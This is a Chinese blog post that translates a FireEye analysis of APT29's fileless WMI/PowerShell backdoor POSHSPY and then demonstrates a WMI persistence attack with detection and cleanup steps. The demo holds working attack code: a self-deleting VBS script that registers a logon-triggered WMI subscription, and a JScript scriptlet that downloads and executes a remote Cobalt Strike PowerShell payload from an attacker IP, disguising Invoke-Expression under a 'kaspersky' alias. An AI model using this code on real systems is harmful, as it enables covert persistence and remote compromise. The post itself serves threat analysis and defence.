WMI后门技术的攻击与检测
【技术分享】解析APT29的无文件WMI和PowerShell后门
阅读量261264
|
发布时间 : 2017-04-07 15:10:14
译文声明
本文是翻译文章,文章来源:fireeye.com
原文地址:https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
译文仅供参考,具体内容表达以及含义原文为准。
翻译:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
安全公司Mandiant观察到APT29使用了一款名为POSHSPY的后门工具。POSHSPY使用了WMI(Windows Management Intrumentation,Windows管理工具)和PowerShell脚本,这也是该组织经常使用的两种工具。在调查过程中,Mandiant发现APT29将POSHSPY作为辅助后门使用,以便在主后门失效后重新夺回目标控制权。
POSHSPY大量使用了Windows系统的内置功能来实现后门功能,它利用WMI实现后门的存储和本地持久化,不熟悉WMI的人难以发现其踪影;利用PowerShell载荷使得目标系统运行的是合法的进程,只有在增强型日志记录或内存中才能发现恶意代码运行痕迹。该后门活动并不频繁,使用了流量混淆、加密处理以及地理上合法的网站作为C2(command and control,命令控制)服务器,使安全人员难以识别其网络流量。总体而言,POSHSPY的每一个方面都是高效且隐蔽的。
Mandiant最初在2015年的一次应急响应处置中发现了POSHSPY后门,早期版本的后门使用的是PowerShell脚本。随后,攻击者更新了后门版本,使用WMI来实现本地存储和持久化。在过去两年中,Mandiant在多个场景中都发现过APT29组织使用POSHSPY的痕迹。
我们最早在一次演讲中讨论了APT29使用该后门的一些情况。读者可以参考幻灯片或演讲视频来回顾之前的分析内容。
二、WMI简介
WMI是从Windows 2000起,在每个Windows系统版本中都会内置的一个管理框架。WMI以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器。我们可以使用各种工具(比如Windows的WMI命令行工具wmic.exe)或者脚本编程语言(如PowerShell)提供的API接口来访问WMI。Windows系统的WMI数据存储在WMI公共信息模型(common information model,CMI)仓库中,该仓库由“System32wbemRepository”文件夹中的多个文件组成。
WMI类是WMI的主要结构。WMI类中可以包含方法(代码)以及属性(数据)。具有系统权限的用户可以自定义类或扩展许多默认类的功能。
在满足特定条件时,我们可以使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化。WMI的事件订阅包含三个核心WMI类:Filter(过滤器)类、Consumer(消费者)类以及FilterToConsumerBinding类。WMI Consumer用来指定要执行的具体操作,包括执行命令、运行脚本、添加日志条目或者发送邮件。WMI Filter用来定义触发Consumer的具体条件,包括系统启动、特定程序执行、特定时间间隔以及其他条件。FilterToConsumerBinding用来将Consumer与Filter关联在一起。创建一个WMI永久事件订阅需要系统的管理员权限。
我们观察到APT29使用WMI来完成后门的本地持久化并存储PowerShell后门代码。为了存储后门代码,APT29创建了一个新的WMI类,添加了一个文本属性以存储字符串,并将加密base64编码的PowerShell后门存放在该属性中。
APT29创建了一个WMI事件订阅来运行该后门,其具体内容是通过PowerShell命令,直接从新的WMI属性中读取、加密和执行后门代码。通过这种方法,攻击者可以在系统中安装一个持久性后门,并且不会在系统磁盘上留下任何文件(除了WMI仓库中的文件之外)。这种“无文件”后门技术使得常见的主机分析技术难以识别恶意代码。
三、POSHSPY的WMI组件
POSHSPY后门的WMI组件利用一个Filter来定期执行PowerShell脚本。在某个样本中,APT29创建了一个名为BfeOnServiceStartTypeChange的Filter(如图1所示),过滤条件设为每周一、周二、周四、周五以及周六的当地时间上午11:33时各执行一次。
图1. “BfeOnServiceStartTypeChange“的 WMI查询语言(WMI Query Language,WQL)
过滤器条件
“BfeOnServiceStartTypeChange”过滤器绑定到一个CommandLineEventConsumer消费者:WindowsParentalControlsMigration。APT29配置WindowsParentalControlsMigration消费者来静默执行经过base64编码的PowerShell命令,该命令在执行时会提取、解密并执行存储在RacTask类的HiveUploadTask文本属性中的PowerShell后门载荷。图2显示了WindowsParentalControlsMigration消费者所执行的“CommandLineTemplate”命令。
图2. WindowsParentalControlsMigration执行的CommandLineTemplate命令
从“CommandLineTemplate”命令中提取的PowerShell命令,解码后如图3所示:
图3. 从CommandLineTemplate中提取的解码后的PowerShell代码
四、POSHSPY的PowerShell组件
POSHSPY样本的全部代码可以在这里找到。
POSHSPY后门可以下载并执行PowerShell代码以及Windows可执行文件,该后门包含几个主要功能,包括:
1、下载PowerShell代码并使用EncodedCommand参数执行该代码。
2、将可执行文件写入到“Program Files”目录下随机选择的一个文件夹中,并将可执行文件名改为与所选文件夹相匹配的名称,如果写入失败,则使用系统生成的临时文件名,扩展名为“.exe”。
3、修改下载的每个可执行文件的标准信息时间戳(创建时间、修改时间以及访问时间),以匹配System32目录中随机选择的一个文件的时间戳,创建时间被修改为2013年之前。
4、使用AES和RSA公钥加密算法对木马通讯进行加密。
5、利用域名生成算法(Domain Generation Algorithm,DGA),通过域名、子域名、顶级域名(top-level domains,TLDs)、统一资源标识符(Uniform Resource Identifiers,URIs)、文件名和文件扩展名列表,生成C2服务器的URL地址。
6、使用自定义的User Agent字符串,或者使用从urlmon.dll中提取的系统User Agent字符串。
7、在每个网络连接中使用的都是自定义cookie键值或随机生成的cookie键值。
8、按2048字节分段上传数据。
9、在上传或下载前,在所有的加密数据前附加一个文件签名头部,文件类型从以下几种类型中随机选择:
ICO、GIF、JPG、PNG、MP3、BMP
本文分析的这个样本使用了11个合法域名,域名的所有者为同一个机构,其地理位置处于受害者附近。这些域名与DGA算法相结合后,可以生成550个不同的C2服务器URL地址。样本的活跃程度较低,使用DGA算法以生成复杂的C2服务器地址,通信数据中添加其他文件类型头部以绕过基于内容的安全审核,种种行为使得安全人员难以通过常规的网络监控技术识别该后门。
五、总结
POSHSPY是APT29组织技术能力的一个绝佳样例。通过这种无文件后门技术,攻击者可以构造一个非常独立的后门,并与他们之前的普通后门结合使用,确保在普通后门失效后还能实现对目标的持久性渗透。如果你掌握WMI和PowerShell的相关知识,你不难发现这个后门存在的痕迹。通过在系统中启用并监视增强型PowerShell日志,我们可以捕捉到恶意代码的执行过程,因为使用WMI持久化技术的合法应用非常稀少,我们可以遍历系统环境,快速准确地找到其中的恶意文件。这个后门是我们捕获的几个后门家族中的其中一员,其他的后门包括域名前移后门以及HAMMERTOSS后门。
六、相关阅读
这篇文章介绍了如何利用PowerShell日志获取更多信息,提高系统中PowerShell活动的可见性。
William Ballenthin、Matt Graeber和Claudiu Teodorescu发表的白皮书介绍了与WMI有关的攻击、防御和取证技巧。
Christopher Glyer和Devon Kerr的演示文档介绍了在Mandiant之前调查工作中发现的与WMI技术有关的其他攻击活动信息。
FireEye公司的FLARE团队公布了一个WMI仓库解析工具,以便调查人员能够提取内嵌于WMI仓库中的数据,从而识别使用WMI持久化技术的应用。
WMI后门技术的攻击与检测
1.1 WMI简介
WMI是从Windows 2000起,在每个Windows系统版本中都会内置的一个管理框架。该框架由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。它可以为你提供有关本地或远程计算机状态的信息,并且可以用于配置安全设置,例如系统属性,用户组,调度进程或禁用错误日志记录。
1.2 WMI体系结构
首先是WMI使用者,比如脚本或者其他用到WMI接口的应用程序,由WMI使用者访问CIM对象管理器WinMgmt(即WMI服务),后者再访问CIM(公共信息模型Common Information Model)存储库。
静态或动态的信息(对象的属性)就保存在CIM库中,同时保存对象的方法。比如启动一个服务,通过执行对象的方法实现,实际上是通过COM技术调用各种dll,最后由dll中封装的API完成请求。WMI是事件驱动的,操作系统、服务、应用程序、设备驱动程序等都可以作为事件源,通过COM接口生成事件通知,WinMgmt捕捉到事件,然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样,CIM库也有分类,用面向对象的术语描述来来说,叫做命名空间(Name Space)。
下图为WMI架构图。
WMI实现后门,是在满足特定条件时,使用WMI永久事件订阅(permanent event subscriptions)机制来触发特定操作。攻击者经常利用这个功能,在系统启动时执行后门程序,完成本地持久化。
其主要有两个特征:无文件和无进程。其基本原理是:将代码加密存储在WMI中,达到所谓的无文件;当设定的条件满足时,系统将自动启动powershell进程去执行后门程序,当后门程序执行后进程就会消失。
下图为WMI后门的运行流程图。

2.2 优势
1)可以把WMI当作API来与Windows系统进行交互;
2)WMI在渗透测试中的价值在于它不需要下载和安装,因为WMI是Windows系统自带功能,Windows是默认安装了WMI的;
3)整个运行过程都在计算机内存中发生,除了WMI仓库中的文件之外不会留下任何痕迹;
4)受信任和频繁使用。系统管理员频繁使用和信任WMI,在企业环境中使用WMI非常常见;
5)作为系统运行。任何永久性WMI事件订阅都作为系统运行,从而使它们更具可信度;
6)容易触发。几乎每个操作系统动作都可以触发WMI事件,从而使其与操作系统动作结合使用非常容易。
2.3 不足wmi后门的唯一不足就是创建WMI永久事件订阅需要管理员权限。
2.4 攻击演示
1、在攻击机kali中由cs生成ps1后门文件;
2、将123.vbs恶意脚本放入受害机启动项中,该脚本的任务是创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本cs.js,绑定过滤器和消费者;
3、cs.js脚本是执行远程ps1后门文件,执行完ps1文件后,cs会上线受害机的system权限。
实验环境:kali(攻击机器)、windows7(受害机器)、cobaltstrike
(1)cs生成ps后门,在攻击机开放一个web端口,将cs.js和cs.ps1文件放到web目录中,用来后面进行远程调用文件。

(2)在启动项中放入vbs脚本。

(3)受害机重启,可以看到123.vbs文件已经加载进WMI中。

(4)再次重启,123.vbs脚本会检查启动事件,一旦检测到就会执行我们所创建的事件消费者,执行远程cs.js脚本,该脚本会使用powershell执行远程我们所创建的ps1后门文件,cs成功上线受害机的system权限。

附攻击代码
123.vbs
nslink="winmgmts:\.rootsubscription:"
'每5秒查询一次“实例创建事件”'
qstr="select * from __InstanceCreationEvent within 5 "
qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and "
'实例名是win32_NTLogEvent'
qstr=qstr&"targetinstance.EventCode='4624' "
'创建事件过滤器'
set evtflt=getobject(nslink&"__EventFilter").spawninstance_
evtflt.name="filtP1" '定义过滤器的名字'
evtflt.EventNameSpace="rootcimv2"
evtflt.query=qstr '定义查询语句'
evtflt.querylanguage="wql" '定义查询语言(只能是wql)'
set fltpath=evtflt.put_ '注册过滤器,返回其链接'
'创建“活动脚本事件消费者”'
set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
asec.name="consP1" '定义消费者的名字'
asec.scriptingengine="JScript" '定义脚本语言'
asec.ScriptText="GetObject(""script:http://192.168.146.136:80/cs.js "")"
set asecpath=asec.put_ '注册消费者,返回其链接'
'创建过滤器和消费者的绑定'
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
fcbnd.filter=fltpath.path '指定过滤器'
fcbnd.consumer=asecpath.path '指定消费者'
fcbnd.put_ '执行绑定'
dim fso
set fso = CreateObject("Scripting.FileSystemObject")
evilname=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,""))
evilname=evilname& fso.GetFile(Wscript.scriptfullname).name
fso.DeleteFile(evilname) 'vbs删除自己'
cs.js代码,执行远程ps1后门
<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://192.168.146.136/cs.ps1')");
</script>
</component>
</package>
0x03 WMI后门检测及清理要实现WMI后门的检测和清理,就必须了解WMIC是如何创建一个事件以及多用途下WMI事件的关键性检测(触发)点。
3.1 WIMC创建事件
(1)创建名为test的过滤器事件wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="test", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

(2)查看命名空间内存在的过滤器
wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter GET __RELPATH /FORMAT:list
(3)创建实例
wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="test", ExecutablePath="C:WindowsSystem32calc.exe",CommandLineTemplate=" C:WindowsSystem32calc.exe"

wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="test"", Consumer="CommandLineEventConsumer.Name="test""
3.2 多用途下WMI事件的关键性检测(触发)点
(1)攻击者使用WMI做持久化时
__EventFilter、__EventConsumer和__FilterToConsumerBinding的实例会被创建。一个__InstanceCreationEvent事件被触发。
(2)当WMI被用做C2时
__Namespace对象实例会被创建和修改,结果是__NamespaceCreationEvent和__NamespaceModificationEvent事件被触发。
(3)通过WMI类存储数据时
__ClassCreationEvent事件被触发。
(4)攻击者安装WMI提供者时
一个__Provider类的实例被创建,__InstanceCreationEvent事件被触发。
(5)攻击者使用开始菜单或注册表做持久化时
一个Win32_StartupCommand类的实例被创建,__InstanceCreationEvent事件被触发。
(6)攻击者使用其它注册表值做持久化时
RegistrykeyChangeEvent或RegistryValueChangeEvent事件被触发。
(7)当攻击者安装服务时
一个Win32_Service实例被创建,__InstanceCreationEvent事件被触发。
3.3 WMI后门检测
在PowerShell中,可以使用Get-WMIObject查看WMI中事件筛选器绑定的事件使用者。
#List Event Filters
Get-WMIObject -Namespace rootSubscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace rootSubscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding

WMI后门的清除主要还是清除创建的对应的恶意的消费者事件,我们首先需要去排查WMI标准的使用者类里面是否存在异常的消费者事件,找到后进行删除即可。
关于如何去获取WMI存在哪些常用的类,或者说一个命名空间存在哪些类,下面介绍了两种方法。
a. WMI标准使用者类以及对应的使用方法如下(https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-start-page):

总结起来说:列出WMI命名空间标准类、枚举标准类里面的消费者事件、判断消费者事件是否异常、删除异常事件。
WMI后门清除可以使用Get-WMIObject手动清除,也可以运行清除脚本实现自动化清除。
(1)使用Get-WMIObject手动清除
#Filter(删除对应Name的Filter)
Get-WMIObject -Namespace rootSubscription -Class __EventFilter -Filter "Name='Name'" | Remove-WmiObject -Verbose
#Consumer(删除对应Name和__CLASS 的Consumer)
Get-WMIObject -Namespace rootSubscription -Class __CLASS -Filter "Name='Name'" | Remove-WmiObject -Verbose
#Binding(删除对应Name的Binding)
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding -Filter "__Path LIKE ‘%Name%'" | Remove-WmiObject -Verbose
(2)运行清除脚本实现自动化清除
当运行后一个持久化的脚本后,我们用autoruns可以查看到存在如下相关事件

运行我们的清除脚本后,事件会成功删除:


get-wmiobject -namespace rootsubscription -class __filtertoconsumerbinding -filter "__path like '%consP1%'" | remove-wmiobject
get-wmiobject -namespace rootsubscription -class __eventfilter -filter "name= 'filtP1'" |remove-wmiobject
get-wmiobject -namespace rootsubscription -class ActiveScriptEventConsumer -filter "name='consP1'" | remove-wmiobject
write-host "success"
0x04 总结
从笔者了解的情况来看,其实国内外的安全防护的侧重点是有很大区别的,国内由于这几年网络安全的大环境,渐渐从互联网防护走向了局域网的防护,虽说局域网内已开始有防护,但是还是相对薄弱。而对于入侵检测来说,Windows的工作会比Linux更棘手。安全研究人员会优先考虑安全,业务人员会优先考虑性能,所以在Windows的入侵检测这一块的行为检测注定要做牺牲。
再来回顾这次的实验过程,其实攻击的过程中很多都是可以做检测的:
1、可以监控VBS脚本的行为;
2、可以检测创建的消费者事件,去提取并判定是否恶意的消费者事件;
3、像此次实验中最终还是一个powershell无文件落地上线cs,所以监测powershell去远程加载的接口,然后进行拦截;
4、去监控最终执行或加载的文件,若是恶意的则将其拦截。
当然上面的这些防御从攻击过程进行拦截,是能解决很多入侵问题。但攻防终归是此消彼长,道高一尺、魔高一丈,你有防御,攻击者就有bypass,且不说对抗类的研究分析工作很难,就单单是一个正常的攻击事件后的人工应急排查自动化就让人头疼,自动化的应急排查真的有点让人望而却步了,抛开各类攻击事件的原理,对于自动化的排查笔者有一些思考:
1、根据ATT&CK的防御来说,更多的要做一个联动检测。系统权限维持(后门)的方式有很多种,我们无法穷举并分析出每一种权限维持的方法和特征,单独拿出某一个特征来进行检测务必会有很多漏报误报,这个时候如果关联他的上一步操作和下一步的操作来进行综合研判,就会相对更为准确;
2、配合大数据中心和威胁情报中心来做。无论是大数据还是说威胁情报中心,这些入侵的检测还是会存在一定的“滞后”,但是从另一个层面来说能很大的提高准确性。拿系统后门举例,如果存在系统远控后门,那必然该进程会有一个对外的TCP连接,对外TCP连接的IP地址我们是可以轻松拿到的,如果我们的大数据中心和威胁情报中心能够识别出IP是否恶意,那就能为我们的自动化研判提供了一大有力凭证。
火线云XDR平台入侵检测解决方案,支持对此类的后门事件以及类似的反弹shell、提权检测进行检测和处置,欢迎大家一起交流学习。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2017-10-12 Mac 安装 brew
2016-10-12 静态成员变量不占用类的内存空间
2016-10-12 重载函数的调用匹配规则
2016-10-12 函数重载和覆盖(重写)的区别
2016-10-12 子类继承的变量的命名从根本上看是带有父类命名空间的
2016-10-12 虚函数缺省实参
2016-10-12 如果虚函数在基类与子类名字相同,而参数类型不同不会进行迟后联编